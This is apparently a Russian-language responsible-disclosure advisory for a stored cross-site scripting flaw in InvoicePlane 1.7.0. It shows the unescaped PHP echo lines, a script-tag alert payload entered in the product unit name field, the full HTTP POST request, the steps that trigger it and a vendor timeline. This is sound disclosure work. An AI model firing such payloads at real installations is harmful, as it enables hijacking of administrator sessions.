
Доказательство концепции для хранимой XSS-уязвимости в InvoicePlane 1.7.0 через поле названия единицы измерения товара, включая расположение уязвимого кода и шаги воспроизведения.
Уязвимость: Хранимый межсайтовый скриптинг (XSS) через поле «Название единицы измерения продукта»
Продукт: InvoicePlane
Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)
Степень серьезности: Средняя
Оценка CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы
Обнаружил: Leonidas Agathos
Дата отчета: 2026-01-31
Поля unit_name и unit_name_plrl в форме единиц измерения продукта (/index.php/units/form) принимают произвольные входные данные без санитизации. Значения сохраняются и выводятся без кодирования в списке позиций счета при просмотре любого счета, содержащего продукт с вредоносной единицей измерения.
Уязвимые файлы:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Line 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Line 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Шаг 1 — Внедрение полезной нагрузки в поле «Название единицы измерения»
Перейдите на /index.php/units/form и отправьте следующее значение в качестве названия единицы измерения:
<script>alert("XSS in Product Unit")</script>
Запрос:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Шаг 2 — Запуск XSS
/index.php/products/form/1 или просмотрите любой счет, содержащий этот продуктПолезная нагрузка срабатывает при отображении списка позиций.

Полезная нагрузка выполняется в браузере любого администратора, который просматривает страницу счета или продукта, содержащую вредоносную единицу измерения. Это позволяет перехватывать сессии (если файлы cookie не защищены флагом HttpOnly), похищать CSRF-токены и выполнять действия от имени жертвы.
| Дата | Событие |
|---|---|
| 2026-01-30 | Уязвимость обнаружена |
| 2026-01-31 | Разработано доказательство концепции |
| 2026-01-31 | Уведомлен поставщик |
| 2026-02-04 | Подтверждение поставщиком |
| 2026-02-04 | Выпущен патч |
| 2026-02-05 | Публичное раскрытие |
Эта уязвимость была обнаружена в ходе независимого исследования безопасности. Вся информация предоставляется строго в образовательных, исследовательских и защитных целях, чтобы помочь поставщику и сообществу специалистов по безопасности понять и устранить проблему. Любое злонамеренное использование этой информации строго запрещено.